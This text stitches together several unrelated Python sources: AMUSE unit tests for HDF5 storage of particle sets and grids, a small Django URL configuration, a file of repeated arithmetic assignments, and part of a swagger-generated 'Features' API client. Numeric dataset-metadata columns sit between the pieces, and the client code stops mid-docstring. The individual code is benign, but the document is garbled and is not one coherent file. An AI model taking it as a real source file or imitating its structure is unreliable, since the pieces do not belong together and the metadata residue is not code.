particles_from_file = io.read_set_from_file(output_file, format='amuse', version = self.store_version(), copy_history = True, close_file = True)
history = list(particles_from_file.history)
self.assertEquals(len(history), 10)
self.assertFalse("HDF" in str(type(history[1]._private.attribute_storage)))
for i, snap in enumerate(particles_from_file.history):
self.assertEquals(len(snap), 20)
self.assertEquals((i+1) * ([1.0, 2.0, 3.0] | units.m), snap.center_of_mass())
os.remove(output_file)
def test26(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test26"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
p = Grid(20)
io.write_set_to_file(p, output_file, format='amuse', version = self.store_version())
os.remove(output_file)
def test27(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test27"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
instance = self.store_factory()(output_file)
shape = 10,
p = Grid(*shape)
p.mass = ([x * 2.0 for x in range(p.size)] | units.kg).reshape(shape)
p.model_time = 2.0 | units.s
instance.store_grid(p)
loaded_grid = instance.load_grid()
self.assertEquals(loaded_grid.shape, shape)
loaded_mass_in_kg = loaded_grid.mass.value_in(units.kg)
previous_mass_in_kg = p.mass.value_in(units.kg)
for expected, actual in zip(previous_mass_in_kg, loaded_mass_in_kg):
self.assertEquals(expected, actual)
instance.close()
def test28(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test28"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars[0].x = 1.0 | units.km
stars[1].x = 2.0 | units.km
binaries = Particles(1)
binaries[0].y = 1.0 | units.km
binaries[0].child1 = stars[0]
binaries[0].child2 = stars[1]
stars[0].parent = binaries[0]
stars[1].parent = binaries[0]
self.assertEqual(binaries[0].child1,stars[0])
self.assertEqual(binaries[0].child2,stars[1])
self.assertEqual(binaries[0].child1.parent,binaries[0])
self.assertEqual(binaries[0].child2.parent,binaries[0])
io.write_set_to_file(binaries, output_file, "hdf5", version = self.store_version())
with io.read_set_from_file(output_file, "hdf5", version = self.store_version(), return_context = True) as loaded:
self.assertEqual(loaded[0].child1.key,stars[0].key)
self.assertEqual(loaded[0].child2.key,stars[1].key)
self.assertEqual(loaded[0].child1,stars[0])
self.assertEqual(loaded[0].child2,stars[1])
self.assertEqual(loaded[0].child1.parent,loaded[0])
self.assertEqual(loaded[0].child2.parent,loaded[0])
def test29(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test29"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
particles = Grid(10)
particles.attribute1 = "normal"
particles.attribute2 = u"unicode"
io.write_set_to_file(particles,output_file, format='amuse', version = self.store_version())
output = io.read_set_from_file(output_file, format='amuse')
self.assertEquals(output[0].attribute2, u"unicode")
def test30(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test30"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
particles = Particles(10)
particles.mass = 10 | units.kg
io.write_set_to_file(particles,output_file, format='amuse', version = self.store_version())
output = io.read_set_from_file(output_file, format='amuse', allow_writing = True)
output.new_attribute= 2 * output.mass
self.assertEquals(output.new_attribute, 2 * output.mass)
output = output.iter_history().next()
output.new_attribute= 2 * output.mass
self.assertEquals(output.new_attribute, 2 * output.mass)
class TestStoreHDFV1(_AbstractTestStoreHDF):
def store_factory(self):
return store_v1.StoreHDF
def store_version(self):
return '1.0'
def get_version_in_store(self, container):
return container.previous_state()
class TestStoreHDFV2(_AbstractTestStoreHDF):
def store_factory(self):
return store_v2.StoreHDF
def store_version(self):
return '2.0'
def get_version_in_store(self, container):
return container
def test52(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test52"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars[0].x = 1.0 | units.km
stars[1].x = 2.0 | units.km
gas = Particles(1)
gas[0].y = 1.0 | units.km
stars[0].gas = gas
io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version())
loaded_stars = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
self.assertEquals(loaded_stars[0].gas[0].key,gas[0].key)
self.assertAlmostRelativeEquals(loaded_stars[0].gas[0].y,1.0 | units.km)
self.assertEquals(loaded_stars[1].gas, None)
def test53(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test53"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars[0].x = 1.0 | units.km
stars[1].x = 2.0 | units.km
gas = Grid(2,3)
gas.y = [[1.0, 2.0, 3.0], [4.0,5.0,6.0]] | units.km
stars[0].gas = gas
io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version())
loaded_stars = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
self.assertAlmostRelativeEquals(loaded_stars[0].gas[0][0].y,1.0 | units.km)
self.assertAlmostRelativeEquals(loaded_stars[0].gas[0][2].y,3.0 | units.km)
self.assertEquals(loaded_stars[1].gas, None)
def test54(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test23"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars[0].x = 1.0 | units.km
stars[1].x = 2.0 | units.km
gas = Grid(2,3)
gas.y = [[1.0, 2.0, 3.0], [4.0,5.0,6.0]] | units.km
stars[0].gas = gas[0][0]
stars[1].gas = gas[1][0]
self.assertAlmostRelativeEquals(stars[0].gas.y,1.0 | units.km)
self.assertAlmostRelativeEquals(stars[1].gas.y,4.0 | units.km)
io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version())
loaded_stars = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
self.assertAlmostRelativeEquals(loaded_stars[0].gas.y,1.0 | units.km)
self.assertAlmostRelativeEquals(loaded_stars[1].gas.y,4.0 | units.km)
def test54b(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test24"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars[0].x = 1.0 | units.km
stars[1].x = 2.0 | units.km
gas = Grid(2,3)
gas.y = [[1.0, 2.0, 3.0], [4.0,5.0,6.0]] | units.km
gas[0][0].particle = stars[0]
gas[1][2].particle = stars[0]
gas[1][0].particle = stars[1]
#stars[0].gas = gas[0][0]
#stars[1].gas = gas[1][0]
self.assertAlmostRelativeEquals(gas[0][0].particle.x,1.0 | units.km)
self.assertAlmostRelativeEquals(gas[1][2].particle.x,1.0 | units.km)
self.assertAlmostRelativeEquals(gas[1][0].particle.x,2.0 | units.km)
io.write_set_to_file(gas, output_file, "hdf5", version = self.store_version())
loaded_gas = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
self.assertAlmostRelativeEquals(loaded_gas[0][0].particle.x, 1.0 | units.km)
self.assertAlmostRelativeEquals(loaded_gas[1][2].particle.x, 1.0 | units.km)
self.assertAlmostRelativeEquals(loaded_gas[1][0].particle.x, 2.0 | units.km)
self.assertEquals(id(loaded_gas[0][0].particle.get_containing_set()), id(loaded_gas[1][2].particle.get_containing_set()))
self.assertEqual(loaded_gas.particle.shape, loaded_gas.shape)
gas_copy = loaded_gas.copy()
gas_copy[0][0].particle.x = 3 | units.km
self.assertAlmostRelativeEquals(loaded_gas[0][0].particle.x, 1.0 | units.km)
self.assertAlmostRelativeEquals(gas_copy[0][0].particle.x, 3.0 | units.km)
self.assertAlmostRelativeEquals(gas_copy[1][2].particle.x, 3.0 | units.km)
def test55(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test25"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
particles1 = Particles(2)
particles1[0].x = 1.0 | units.km
particles1[1].x = 2.0 | units.km
particles2 = Particles(2)
particles2[0].x = 3.0 | units.km
particles2[1].x = 4.0 | units.km
particles_superset = ParticlesSuperset([particles1, particles2])
self.assertAlmostRelativeEquals(particles_superset[0].x,1.0 | units.km)
self.assertAlmostRelativeEquals(particles_superset[2].x,3.0 | units.km)
io.write_set_to_file(particles_superset, output_file, "hdf5", version = self.store_version())
loaded_particles_superset = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
self.assertAlmostRelativeEquals(loaded_particles_superset[0].x,1.0 | units.km)
self.assertAlmostRelativeEquals(loaded_particles_superset[2].x,3.0 | units.km)
def test56(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test26"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
number_of_particles = 10
p = Particles(number_of_particles)
p.mass = [x * 2.0 for x in range(number_of_particles)] | units.kg
p.model_time = 2.0 | units.s
gas = Grid(2,3)
gas.y = [[1.0, 2.0, 3.0], [4.0,5.0,6.0]] | units.km
io.write_set_to_file(
p,
output_file,
"hdf5",
particle = p[1],
particles = p,
gridpoint = gas[0][0],
grid = gas,
version = self.store_version()
)
loaded_particles = io.read_set_from_file(
output_file,
"hdf5",
version = self.store_version()
)
attributes = loaded_particles.collection_attributes
self.assertAlmostRelativeEquals(attributes.particle.mass, loaded_particles[1].mass)
self.assertEquals(attributes.particle.key, loaded_particles[1].key)
self.assertEquals(id(attributes.particles), id(loaded_particles))
self.assertAlmostRelativeEquals(attributes.gridpoint.y, 1.0 | units.km)
self.assertAlmostRelativeEquals(attributes.grid[0][0].y, 1.0 | units.km)
def test57(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test26"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
x = Particles(2)
x.sub = None
x[0].sub = Particles(2)
io.write_set_to_file(x, output_file,"amuse", version=self.store_version())
y = io.read_set_from_file(output_file,"amuse")
self.assertEqual(len(x), len(y))
self.assertEqual(len(x[0].sub), len(y[0].sub))
self.assertTrue(y[1].sub==x[1].sub==None)
os.remove(output_file)
def test58(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test58"+self.store_version()+".h5")
if os.path.exists(output_file):
os.remove(output_file)
x = Particles(keys = (1,2))
x.mass = [1,2] | units.kg
y = Particles(keys = (11,12,13,14))
y.mass = [40,50,60,70] | units.kg
x.sub = None
x[0].sub = y[0:2]
y[0].sub = y[2:]
io.write_set_to_file(x, output_file,"amuse", version=self.store_version())
z = io.read_set_from_file(output_file,"amuse")
self.assertEqual(len(x), len(z))
self.assertEqual(len(x[0].sub), len(z[0].sub))
self.assertEqual(x[0].sub[0].sub.key, (13,14))
self.assertEqual(z[0].sub[0].sub.key, (13,14))
self.assertEqual(id(x[0].sub._original_set()), id(x[0].sub[0].sub._original_set()))
# no more subsets, could this be fixed, would be very nice to do so
# self.assertEqual(id(z[0].sub._original_set()), id(z[0].sub[0].sub._original_set()))
self.assertTrue(z[1].sub==x[1].sub==None)
os.remove(output_file)
def test59(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test59"+self.store_version()+".h5")
if os.path.exists(output_file):
os.remove(output_file)
g=Grid(10,10)
p=Particles(2)
p[0].sub=g[0:5]
io.write_set_to_file(p, output_file,"amuse", version=self.store_version())
z = io.read_set_from_file(output_file,"amuse")
os.remove(output_file)
def test60(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test60"+self.store_version()+".h5")
if os.path.exists(output_file):
os.remove(output_file)
x = Particles(2)
x.mass = 1 | units.kg
y = Particles(2)
y.mass = 2 | units.kg
io.write_set_to_file((x,y), output_file,"amuse", version=self.store_version(), names = ("x", "y"))
z = io.read_set_from_file(output_file,"amuse")
os.remove(output_file)
self.assertTrue("x" in z)
self.assertTrue("y" in z)
self.assertAlmostRelativeEquals(z["x"].mass, 1 | units.kg)
self.assertAlmostRelativeEquals(z["y"].mass, 2 | units.kg)
def test61(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test61"+self.store_version()+".h5")
if os.path.exists(output_file):
os.remove(output_file)
x = Particles(10)
x.mass = 1 | units.kg
y = Particles(20)
y.id = range(20)
x[0].y = y[5:7]
io.write_set_to_file(x, output_file,"amuse", version=self.store_version())
z = io.read_set_from_file(output_file,"amuse")
self.assertEquals(x[0].y[0].id, 5)
self.assertEquals(z[0].y[0].id, 5)
os.remove(output_file)
| 38.826617
| 152
| 0.618567
| 5,634
| 41,428
| 4.339546
| 0.040824
| 0.086711
| 0.064134
| 0.053622
| 0.861753
| 0.838807
| 0.815534
| 0.784531
| 0.770256
| 0.751442
| 0
| 0.038497
| 0.248841
| 41,428
| 1,066
| 153
| 38.863039
| 0.747164
| 0.009824
| 0
| 0.622222
| 0
| 0
| 0.019409
| 0
| 0
| 0
| 0
| 0
| 0.184314
| 0
| null | null | 0
| 0.019608
| null | null | 0.002614
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5d2c9c82731db038643ae97346479905b7b053f7
| 188
|
py
|
Python
|
Business/comingsoon/urls.py
|
Kshashank9/Business-Topology-Website
|
17d0c5ccabb17c52b6162e147640275de32e5169
|
[
"MIT"
] | null | null | null |
Business/comingsoon/urls.py
|
Kshashank9/Business-Topology-Website
|
17d0c5ccabb17c52b6162e147640275de32e5169
|
[
"MIT"
] | null | null | null |
Business/comingsoon/urls.py
|
Kshashank9/Business-Topology-Website
|
17d0c5ccabb17c52b6162e147640275de32e5169
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from django.urls import path
from . import views
from django.urls import include
urlpatterns = [
path('',views.coming_soon,name="coming_soon"),
]
| 20.888889
| 50
| 0.744681
| 26
| 188
| 5.307692
| 0.5
| 0.217391
| 0.202899
| 0.289855
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.159574
| 188
| 9
| 51
| 20.888889
| 0.873418
| 0
| 0
| 0
| 0
| 0
| 0.058201
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.571429
| 0
| 0.571429
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
539367593e9c788d0a45dffd0907283085ccdbb9
| 444
|
py
|
Python
|
ast-transformations-core/src/test/resources/org/jetbrains/research/ml/ast/transformations/augmentedAssignment/data/out_2.py
|
JetBrains-Research/ast-transformations
|
0ab408af3275b520cc87a473f418c4b4dfcb0284
|
[
"MIT"
] | 8
|
2021-01-19T21:15:54.000Z
|
2022-02-23T19:16:25.000Z
|
ast-transformations-core/src/test/resources/org/jetbrains/research/ml/ast/transformations/augmentedAssignment/data/out_2.py
|
JetBrains-Research/ast-transformations
|
0ab408af3275b520cc87a473f418c4b4dfcb0284
|
[
"MIT"
] | 4
|
2020-11-17T14:28:25.000Z
|
2022-02-24T07:54:28.000Z
|
ast-transformations-core/src/test/resources/org/jetbrains/research/ml/ast/transformations/augmentedAssignment/data/out_2.py
|
nbirillo/ast-transformations
|
717706765a2da29087a0de768fc851698886dd65
|
[
"MIT"
] | 1
|
2022-02-23T19:16:30.000Z
|
2022-02-23T19:16:30.000Z
|
x = 0
x = x + 10
x = x - 10
x = x * 10
x = x @ 10
x = x / 10
x = x // 10
x = x % 10
x = x ** 10
x = x >> 10
x = x << 10
x = x & 10
x = x ^ 10
x = x | 10
x = x + (10 + 20 * 3)
x = x - (10 + 20 * 3)
x = x * (10 + 20 * 3)
x = x @ (10 + 20 * 3)
x = x / (10 + 20 * 3)
x = x // (10 + 20 * 3)
x = x % (10 + 20 * 3)
x = x ** (10 + 20 * 3)
x = x >> (10 + 20 * 3)
x = x << (10 + 20 * 3)
x = x & (10 + 20 * 3)
x = x ^ (10 + 20 * 3)
x = x | (10 + 20 * 3)
| 15.310345
| 22
| 0.326577
| 106
| 444
| 1.367925
| 0.04717
| 0.358621
| 0.717241
| 0.448276
| 0.986207
| 0.986207
| 0.986207
| 0.986207
| 0.986207
| 0.986207
| 0
| 0.356589
| 0.418919
| 444
| 28
| 23
| 15.857143
| 0.205426
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
539ac0342cd5b592bb46d835a3bdc27b9640de23
| 93
|
py
|
Python
|
src/hieroglyph/tests/__init__.py
|
pydanny/hieroglyph
|
a4efd5e866e60b24cc18cbd9ea714e64e77342fc
|
[
"BSD-3-Clause"
] | 1
|
2018-07-24T12:06:20.000Z
|
2018-07-24T12:06:20.000Z
|
src/hieroglyph/tests/__init__.py
|
pydanny/hieroglyph
|
a4efd5e866e60b24cc18cbd9ea714e64e77342fc
|
[
"BSD-3-Clause"
] | null | null | null |
src/hieroglyph/tests/__init__.py
|
pydanny/hieroglyph
|
a4efd5e866e60b24cc18cbd9ea714e64e77342fc
|
[
"BSD-3-Clause"
] | 1
|
2018-07-24T12:05:59.000Z
|
2018-07-24T12:05:59.000Z
|
import unittest
def additional_tests():
return unittest.defaultTestLoader.discover('.')
| 18.6
| 51
| 0.774194
| 9
| 93
| 7.888889
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.11828
| 93
| 4
| 52
| 23.25
| 0.865854
| 0
| 0
| 0
| 0
| 0
| 0.010753
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
539ffa3119d0874ad8461b43aac3a77dfa2f4558
| 52,340
|
py
|
Python
|
kinow_client/apis/features_api.py
|
kinow-io/kinow-python-sdk
|
4c1699a3c78048b84287bd049a669651a5b4e2d5
|
[
"Apache-2.0"
] | 1
|
2019-06-26T14:24:54.000Z
|
2019-06-26T14:24:54.000Z
|
kinow_client/apis/features_api.py
|
kinow-io/kinow-python-sdk
|
4c1699a3c78048b84287bd049a669651a5b4e2d5
|
[
"Apache-2.0"
] | null | null | null |
kinow_client/apis/features_api.py
|
kinow-io/kinow-python-sdk
|
4c1699a3c78048b84287bd049a669651a5b4e2d5
|
[
"Apache-2.0"
] | 1
|
2018-02-01T10:08:40.000Z
|
2018-02-01T10:08:40.000Z
|
# coding: utf-8
"""
Server API
Reference for Server API (REST/Json)
OpenAPI spec version: 1.4.58
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import sys
import os
import re
# python 2 and python 3 compatibility library
from six import iteritems
from ..configuration import Configuration
from ..api_client import ApiClient
class FeaturesApi(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
config = Configuration()
if api_client:
self.api_client = api_client
else:
if not config.api_client:
config.api_client = ApiClient()
self.api_client = config.api_client
def attach_features_to_category(self, category_id, features, **kwargs):
"""
Attach feature to category
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.attach_features_to_category(category_id, features, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int category_id: (required)
:param str features: To attach existing FeatureValue to Category: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }] ``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }] ``` (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.attach_features_to_category_with_http_info(category_id, features, **kwargs)
else:
(data) = self.attach_features_to_category_with_http_info(category_id, features, **kwargs)
return data
def attach_features_to_category_with_http_info(self, category_id, features, **kwargs):
"""
Attach feature to category
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.attach_features_to_category_with_http_info(category_id, features, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int category_id: (required)
:param str features: To attach existing FeatureValue to Category: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }] ``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }] ``` (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['category_id', 'features']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method attach_features_to_category" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'category_id' is set
if ('category_id' not in params) or (params['category_id'] is None):
raise ValueError("Missing the required parameter `category_id` when calling `attach_features_to_category`")
# verify the required parameter 'features' is set
if ('features' not in params) or (params['features'] is None):
raise ValueError("Missing the required parameter `features` when calling `attach_features_to_category`")
collection_formats = {}
resource_path = '/categories/{category_id}/features'.replace('{format}', 'json')
path_params = {}
if 'category_id' in params:
path_params['category_id'] = params['category_id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
if 'features' in params:
form_params.append(('features', params['features']))
self.api_client.set_default_header('Content-Type', 'application/x-www-form-urlencoded')
body_params = None
# Authentication setting
auth_settings = ['ApiClientId', 'ApiClientSecret']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None,
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def attach_features_to_extract(self, extract_id, features, **kwargs):
"""
Attach feature to extract
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.attach_features_to_extract(extract_id, features, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int extract_id: (required)
:param str features: To attach existing FeatureValue to Product: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }] ``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }] ``` (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.attach_features_to_extract_with_http_info(extract_id, features, **kwargs)
else:
(data) = self.attach_features_to_extract_with_http_info(extract_id, features, **kwargs)
return data
def attach_features_to_extract_with_http_info(self, extract_id, features, **kwargs):
"""
Attach feature to extract
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.attach_features_to_extract_with_http_info(extract_id, features, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int extract_id: (required)
:param str features: To attach existing FeatureValue to Product: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }] ``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }] ``` (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['extract_id', 'features']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method attach_features_to_extract" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'extract_id' is set
if ('extract_id' not in params) or (params['extract_id'] is None):
raise ValueError("Missing the required parameter `extract_id` when calling `attach_features_to_extract`")
# verify the required parameter 'features' is set
if ('features' not in params) or (params['features'] is None):
raise ValueError("Missing the required parameter `features` when calling `attach_features_to_extract`")
collection_formats = {}
resource_path = '/extracts/{extract_id}/features'.replace('{format}', 'json')
path_params = {}
if 'extract_id' in params:
path_params['extract_id'] = params['extract_id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
if 'features' in params:
form_params.append(('features', params['features']))
self.api_client.set_default_header('Content-Type', 'application/x-www-form-urlencoded')
body_params = None
# Authentication setting
auth_settings = ['ApiClientId', 'ApiClientSecret']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None,
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def attach_features_to_product(self, product_id, features, **kwargs):
"""
Attach feature to product
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.attach_features_to_product(product_id, features, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int product_id: (required)
:param str features: To attach existing FeatureValue to Product: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }]``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }]``` (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.attach_features_to_product_with_http_info(product_id, features, **kwargs)
else:
(data) = self.attach_features_to_product_with_http_info(product_id, features, **kwargs)
return data
def attach_features_to_product_with_http_info(self, product_id, features, **kwargs):
"""
Attach feature to product
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.attach_features_to_product_with_http_info(product_id, features, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int product_id: (required)
:param str features: To attach existing FeatureValue to Product: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }]``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }]``` (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['product_id', 'features']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method attach_features_to_product" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'product_id' is set
if ('product_id' not in params) or (params['product_id'] is None):
raise ValueError("Missing the required parameter `product_id` when calling `attach_features_to_product`")
# verify the required parameter 'features' is set
if ('features' not in params) or (params['features'] is None):
raise ValueError("Missing the required parameter `features` when calling `attach_features_to_product`")
collection_formats = {}
resource_path = '/products/{product_id}/features'.replace('{format}', 'json')
path_params = {}
if 'product_id' in params:
path_params['product_id'] = params['product_id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
if 'features' in params:
form_params.append(('features', params['features']))
self.api_client.set_default_header('Content-Type', 'application/x-www-form-urlencoded')
body_params = None
# Authentication setting
auth_settings = ['ApiClientId', 'ApiClientSecret']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None,
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def attach_features_to_video(self, video_id, features, **kwargs):
"""
Attach feature to video
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.attach_features_to_video(video_id, features, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int video_id: (required)
:param str features: To attach existing FeatureValue to Product: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }] ``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }] ``` (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.attach_features_to_video_with_http_info(video_id, features, **kwargs)
else:
(data) = self.attach_features_to_video_with_http_info(video_id, features, **kwargs)
return data
def attach_features_to_video_with_http_info(self, video_id, features, **kwargs):
"""
Attach feature to video
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.attach_features_to_video_with_http_info(video_id, features, callback=callback_function)
:param callback function: The callback function
